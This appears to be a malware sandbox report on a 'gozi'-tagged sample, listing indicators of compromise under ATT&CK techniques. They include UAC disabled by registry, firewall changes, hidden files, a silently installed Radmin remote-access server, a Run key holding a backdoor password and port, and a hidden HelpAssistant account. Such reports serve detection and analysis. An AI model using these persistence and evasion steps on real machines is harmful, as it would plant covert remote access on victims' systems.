gozi | 59df1601a47511118c430b1961a05ed8000b73468dbbcaf06cd4048e8c7370c7

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\SET9904.tmp	DrvInst.exe
File created	C:\Windows\System32\drivers\SET9904.tmp	DrvInst.exe
File opened for modification	C:\Windows\System32\drivers\rminiv3.sys	DrvInst.exe

Modifies Windows Firewall 2 TTPs 4 IoCs

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4128	netsh.exe
4464	netsh.exe
2140	netsh.exe
184	netsh.exe

Sets file to hidden 1 TTPs 3 IoCs

Modifies file attributes to stop it showing in Explorer etc.

Hidden Files and Directories

T1564.001

pid	Process
1668	attrib.exe
5940	attrib.exe
4252	attrib.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-446031748-3036493239-2009529691-1000\Control Panel\International\Geo\Nation	ip.exe
Key value queried	\REGISTRY\USER\S-1-5-21-446031748-3036493239-2009529691-1000\Control Panel\International\Geo\Nation	JaffaCakes118_89dbe243829a1f6c79190897e3c8fbae.exe
Key value queried	\REGISTRY\USER\S-1-5-21-446031748-3036493239-2009529691-1000\Control Panel\International\Geo\Nation	inst.exe
Key value queried	\REGISTRY\USER\S-1-5-21-446031748-3036493239-2009529691-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 16 IoCs

pid	Process
5748	inst.exe
4996	poc.exe
5020	poc.exe
4060	cam_server.exe
5712	cam_server.exe
5944	rsetup64.exe
1880	rsetup64.exe
1364	rsetup64.exe
3344	ip.exe
4436	ip.exe
1240	realip.exe
1340	blat.exe
3352	blat.exe
5180	cam_server.exe
2872	cam_server.exe
5896	blat.exe

Loads dropped DLL 10 IoCs

pid	Process
3496	MsiExec.exe
3496	MsiExec.exe
3496	MsiExec.exe
3496	MsiExec.exe
5392	MsiExec.exe
3496	MsiExec.exe
5392	MsiExec.exe
3496	MsiExec.exe
5392	MsiExec.exe
5392	MsiExec.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\cam_server.exe = "C:\\Windows\\cam_server.exe pass=ganja1 port=57011"	reg.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe

Drops file in System32 directory 54 IoCs

description	ioc	Process
File created	C:\Windows\System32\DriverStore\Temp\{d732c123-3c18-844e-827c-b4b4f581157c}\SET978F.tmp	DrvInst.exe
File created	C:\Windows\System32\DriverStore\Temp\{d732c123-3c18-844e-827c-b4b4f581157c}\SET9790.tmp	DrvInst.exe
File opened for modification	C:\Windows\System32\DriverStore\Temp\{d732c123-3c18-844e-827c-b4b4f581157c}\mirrorv3.inf	DrvInst.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\mirrorv3.inf_amd64_464860d34203ec0c\rminiv3.sys	DrvInst.exe
File created	C:\Windows\SysWOW64\rserver30\Radmin30ru.chm	msiexec.exe
File created	C:\Windows\SysWOW64\rserver30\WinLpcDl.dll	msiexec.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\mirrorv3.inf_amd64_464860d34203ec0c\mirrorv3.dll	DrvInst.exe
File created	C:\Windows\SysWOW64\rserver30\raudiox.dll	msiexec.exe
File created	C:\Windows\SysWOW64\rserver30\mirrorv3.cat	msiexec.exe
File opened for modification	C:\Windows\System32\DriverStore\Temp\{d732c123-3c18-844e-827c-b4b4f581157c}	DrvInst.exe
File created	C:\Windows\System32\DriverStore\FileRepository\mirrorv3.inf_amd64_464860d34203ec0c\mirrorv3.PNF	rsetup64.exe
File created	C:\Windows\System32\SET9905.tmp	DrvInst.exe
File created	C:\Windows\SysWOW64\rserver30\FamItrf2.Exe	msiexec.exe
File created	C:\Windows\SysWOW64\rserver30\voicex.dll	msiexec.exe
File created	C:\Windows\SysWOW64\rserver30\Fam64Helper.exe	msiexec.exe
File created	C:\Windows\SysWOW64\rserver30\mirrorv3.inf	msiexec.exe
File created	C:\Windows\SysWOW64\rserver30\nts64helper.dll	msiexec.exe
File opened for modification	C:\Windows\System32\SET9905.tmp	DrvInst.exe
File opened for modification	C:\Windows\System32\mirrorv3.dll	DrvInst.exe
File created	C:\Windows\SysWOW64\rserver30\WinLpcDl2.dll	msiexec.exe
File created	C:\Windows\SysWOW64\rserver30\FirewallInstallHelper.dll	msiexec.exe
File created	C:\Windows\SysWOW64\rserver30\vcintcx.dll	msiexec.exe
File created	C:\Windows\SysWOW64\rserver30\vcintsx.dll	msiexec.exe
File created	C:\Windows\SysWOW64\rserver30\raddrvv3.sys	msiexec.exe
File created	C:\Windows\SysWOW64\rserver30\wsock32.dll	msiexec.exe
File created	C:\Windows\System32\DriverStore\drvstore.tmp	DrvInst.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\mirrorv3.inf_amd64_464860d34203ec0c\mirrorv3.inf	DrvInst.exe
File created	C:\Windows\SysWOW64\rserver30\rserver3.exe	msiexec.exe
File created	C:\Windows\SysWOW64\rserver30\RCursor.dll	msiexec.exe
File created	C:\Windows\SysWOW64\rserver30\rchatx.dll	msiexec.exe
File created	C:\Windows\SysWOW64\rserver30\rschatx.dll	msiexec.exe
File created	C:\Windows\SysWOW64\rserver30\ChatLPCx.dll	msiexec.exe
File created	C:\Windows\SysWOW64\rserver30\rsaudiox.dll	msiexec.exe
File created	C:\Windows\SysWOW64\rserver30\eula.txt	msiexec.exe
File created	C:\Windows\System32\DriverStore\Temp\{d732c123-3c18-844e-827c-b4b4f581157c}\SET978E.tmp	DrvInst.exe
File created	C:\Windows\SysWOW64\rserver30\FamItrfc.Exe	msiexec.exe
File created	C:\Windows\SysWOW64\rserver30\R_sui.dll	msiexec.exe
File created	C:\Windows\SysWOW64\rserver30\rsl.exe	msiexec.exe
File created	C:\Windows\SysWOW64\rserver30\Radmin30.chm	msiexec.exe
File opened for modification	C:\Windows\System32\DriverStore\Temp\{d732c123-3c18-844e-827c-b4b4f581157c}\mirrorv3.cat	DrvInst.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\mirrorv3.inf_amd64_464860d34203ec0c\mirrorv3.cat	DrvInst.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	DrvInst.exe
File created	C:\Windows\SysWOW64\rserver30\CHATLOGS\info.txt	msiexec.exe
File created	C:\Windows\SysWOW64\rserver30\rsetup64.exe	msiexec.exe
File created	C:\Windows\SysWOW64\rserver30\1049.lng_rad	msiexec.exe
File created	C:\Windows\System32\DriverStore\Temp\{d732c123-3c18-844e-827c-b4b4f581157c}\SET977D.tmp	DrvInst.exe
File opened for modification	C:\Windows\System32\DriverStore\Temp\{d732c123-3c18-844e-827c-b4b4f581157c}\rminiv3.sys	DrvInst.exe
File opened for modification	C:\Windows\System32\DriverStore\Temp\{d732c123-3c18-844e-827c-b4b4f581157c}\SET978E.tmp	DrvInst.exe
File opened for modification	C:\Windows\System32\DriverStore\Temp\{d732c123-3c18-844e-827c-b4b4f581157c}\mirrorv3.dll	DrvInst.exe
File opened for modification	C:\Windows\System32\DriverStore\Temp\{d732c123-3c18-844e-827c-b4b4f581157c}\SET9790.tmp	DrvInst.exe
File created	C:\Windows\SysWOW64\rserver30\rminiv3.sys	msiexec.exe
File created	C:\Windows\SysWOW64\rserver30\mirrorv3.dll	msiexec.exe
File opened for modification	C:\Windows\System32\DriverStore\Temp\{d732c123-3c18-844e-827c-b4b4f581157c}\SET977D.tmp	DrvInst.exe
File opened for modification	C:\Windows\System32\DriverStore\Temp\{d732c123-3c18-844e-827c-b4b4f581157c}\SET978F.tmp	DrvInst.exe

Hide Artifacts: Hidden Users 1 TTPs 1 IoCs

persistence privilege_escalation

Hidden Users

T1564.002

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\HelpAssistant = "0"	reg.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 4996 set thread context of 5020	4996	poc.exe	100
PID 4060 set thread context of 5712	4060	cam_server.exe	117
PID 3344 set thread context of 4436	3344	ip.exe	167
PID 5180 set thread context of 2872	5180	cam_server.exe	183

UPX packed file 10 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000700000002429a-12.dat	upx
behavioral2/memory/5748-16-0x0000000000400000-0x0000000000410000-memory.dmp	upx
behavioral2/memory/5748-43-0x0000000000400000-0x0000000000410000-memory.dmp	upx
behavioral2/memory/4436-794-0x0000000000400000-0x0000000000455000-memory.dmp	upx
behavioral2/memory/4436-797-0x0000000000400000-0x0000000000455000-memory.dmp	upx
behavioral2/memory/4436-799-0x0000000000400000-0x0000000000455000-memory.dmp	upx
behavioral2/memory/4436-798-0x0000000000400000-0x0000000000455000-memory.dmp	upx
behavioral2/memory/5748-886-0x0000000000400000-0x0000000000410000-memory.dmp	upx
behavioral2/memory/4436-896-0x0000000000400000-0x0000000000455000-memory.dmp	upx
behavioral2/memory/4436-952-0x0000000000400000-0x0000000000455000-memory.dmp	upx

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1939723680\sets.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1723260306\manifest.fingerprint	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\nl\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\be\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\my\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\ro\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\es\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1939723680\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1723260306\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\gl\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\lo\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\mr\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\no\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\fi\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\pt_PT\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\ja\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\el\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\ca\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\fr\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\zh_HK\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\ms\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\az\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1327088556\data.txt	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\bn\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\kk\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\hi\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\fil\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\manifest.fingerprint	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1723260306\keys.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1723260306\LICENSE	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1835113590\deny_etld1_domains.list	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\dasherSettingSchema.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\ta\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\en_US\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\lt\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\mn\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_metadata\verified_contents.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\te\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\am\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\sv\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\en_GB\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\sl\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\en_CA\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\sk\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1327088556\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\service_worker_bin_prod.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\sr\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\km\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\uk\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\th\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\bg\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\ar\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\sw\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\kn\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\es_419\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\ka\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\af\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\da\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\pt_BR\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\ru\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\is\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\page_embed_script.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\hr\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4084_1179052011\_locales\zh_TW\messages.json	msedge.exe

Drops file in Windows directory 32 IoCs

description	ioc	Process
File opened for modification	C:\Windows\cam_server.exe	cam_server.exe
File opened for modification	C:\Windows\cam_server.exe	attrib.exe
File opened for modification	C:\Windows\Installer\MSI8F62.tmp	msiexec.exe
File created	C:\Windows\INF\c_display.PNF	rsetup64.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	svchost.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	DrvInst.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8DE8.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI906E.tmp	msiexec.exe
File created	C:\Windows\inf\oem3.inf	DrvInst.exe
File created	C:\Windows\Installer\e578d1d.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8EA5.tmp	msiexec.exe
File opened for modification	C:\Windows\inf\oem3.inf	DrvInst.exe
File created	C:\Windows\ip.exe	cmd.exe
File created	C:\Windows\cam_server.exe	cmd.exe
File opened for modification	C:\Windows\Installer\MSI93CB.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI95A1.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI967C.tmp	msiexec.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	rsetup64.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	DrvInst.exe
File opened for modification	C:\Windows\ip.exe	cmd.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{3A8C4C87-D460-488A-A0AA-8993F6D355B1}	msiexec.exe
File opened for modification	C:\Windows\ip.exe	attrib.exe
File opened for modification	C:\Windows\Installer\e578d1d.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8F92.tmp	msiexec.exe
File opened for modification	C:\Windows\cam_server.exe	cmd.exe
File opened for modification	C:\Windows\Installer\MSI938B.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA9C7.tmp	msiexec.exe
File opened for modification	C:\Windows\cam_server.exe	cam_server.exe
File opened for modification	C:\Windows\Installer\MSI8E95.tmp	msiexec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 12 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

Program crash 4 IoCs

pid	pid_target	Process	procid_target
5212	5712	WerFault.exe	117
2600	2872	WerFault.exe	183
916	3352	WerFault.exe	176
6012	5896	WerFault.exe	204

System Location Discovery: System Language Discovery 1 TTPs 48 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	blat.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	poc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cam_server.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ipconfig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	blat.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ip.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	blat.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ip.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	JaffaCakes118_89dbe243829a1f6c79190897e3c8fbae.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	inst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	poc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cam_server.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	realip.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cam_server.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cam_server.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4608	PING.EXE
5572	PING.EXE
3408	PING.EXE
5724	PING.EXE

Checks SCSI registry key(s) 3 TTPs 64 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Phantom	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\UpperFilters	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	dwm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\000A	rsetup64.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\000A\	rsetup64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	rsetup64.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\CompatibleIDs	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID	rsetup64.exe
